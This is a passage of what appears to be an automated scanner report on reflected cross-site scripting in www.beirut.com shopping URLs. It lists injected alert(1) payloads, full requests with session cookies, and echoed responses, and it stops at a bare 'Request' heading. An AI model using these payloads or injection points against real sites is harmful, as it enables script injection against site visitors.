HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Consumer-Goods607ad'-alert(1)-'58a213e0e14/235690923/Sweets-Chocolates/79'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d2b42<script>alert(1)</script>eadeef755ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goodsd2b42<script>alert(1)</script>eadeef755ae/235690923/Sweets-Chocolates/79 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:49:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goodsd2b42<script>alert(1)</script>eadeef755ae <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb469'-alert(1)-'bb51917a62b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923cb469'-alert(1)-'bb51917a62b/Sweets-Chocolates/79 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:54:10 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56257
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923cb469'-alert(1)-'bb51917a62b/Sweets-Chocolates/79'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9c9a7'-alert(1)-'6b44c7307f5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Sweets-Chocolates9c9a7'-alert(1)-'6b44c7307f5/79 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:58:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56124
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923/Sweets-Chocolates9c9a7'-alert(1)-'6b44c7307f5/79'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b77f'-alert(1)-'a9c7223a7f7 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Sweets-Chocolates/795b77f'-alert(1)-'a9c7223a7f7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:03:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54878
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923/Sweets-Chocolates/795b77f'-alert(1)-'a9c7223a7f7'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e832c'-alert(1)-'52bb2385ac2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinge832c'-alert(1)-'52bb2385ac2/Consumer-Goods/235690923/Tobacconist/29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:36:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59894
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shoppinge832c'-alert(1)-'52bb2385ac2/Consumer-Goods/235690923/Tobacconist/29'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57c3a"><a>c11e6e3cec5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping57c3a"><a>c11e6e3cec5/Consumer-Goods/235690923/Tobacconist/29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:25:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping57c3a"><a>c11e6e3cec5"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1064d'-alert(1)-'32dc8d23c03 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods1064d'-alert(1)-'32dc8d23c03/235690923/Tobacconist/29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:43:10 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods1064d'-alert(1)-'32dc8d23c03/235690923/Tobacconist/29'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d621b<script>alert(1)</script>1d1f7d4de41 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goodsd621b<script>alert(1)</script>1d1f7d4de41/235690923/Tobacconist/29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:43:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55221
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goodsd621b<script>alert(1)</script>1d1f7d4de41 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c4173'-alert(1)-'62e52d4dd2d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923c4173'-alert(1)-'62e52d4dd2d/Tobacconist/29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:47:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Consumer-Goods/235690923c4173'-alert(1)-'62e52d4dd2d/Tobacconist/29'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53d93'-alert(1)-'80b6f4fab88 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Tobacconist53d93'-alert(1)-'80b6f4fab88/29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:54:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55041
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923/Tobacconist53d93'-alert(1)-'80b6f4fab88/29'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf079'-alert(1)-'a48770eb1b3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Tobacconist/29bf079'-alert(1)-'a48770eb1b3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:58:22 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54857
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Consumer-Goods/235690923/Tobacconist/29bf079'-alert(1)-'a48770eb1b3'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3af0c'-alert(1)-'a39c125638d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping3af0c'-alert(1)-'a39c125638d/Equipment-Gadgets/339412286 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:14:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60115
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping3af0c'-alert(1)-'a39c125638d/Equipment-Gadgets'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c7db"><a>3daf329a215 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping8c7db"><a>3daf329a215/Equipment-Gadgets/339412286 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:05:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60079
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping8c7db"><a>3daf329a215"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2184c'-alert(1)-'caeee647c97 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets2184c'-alert(1)-'caeee647c97/339412286 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:18:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60570
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Equipment-Gadgets2184c'-alert(1)-'caeee647c97'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload cd721<script>alert(1)</script>612f6ddb2e8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
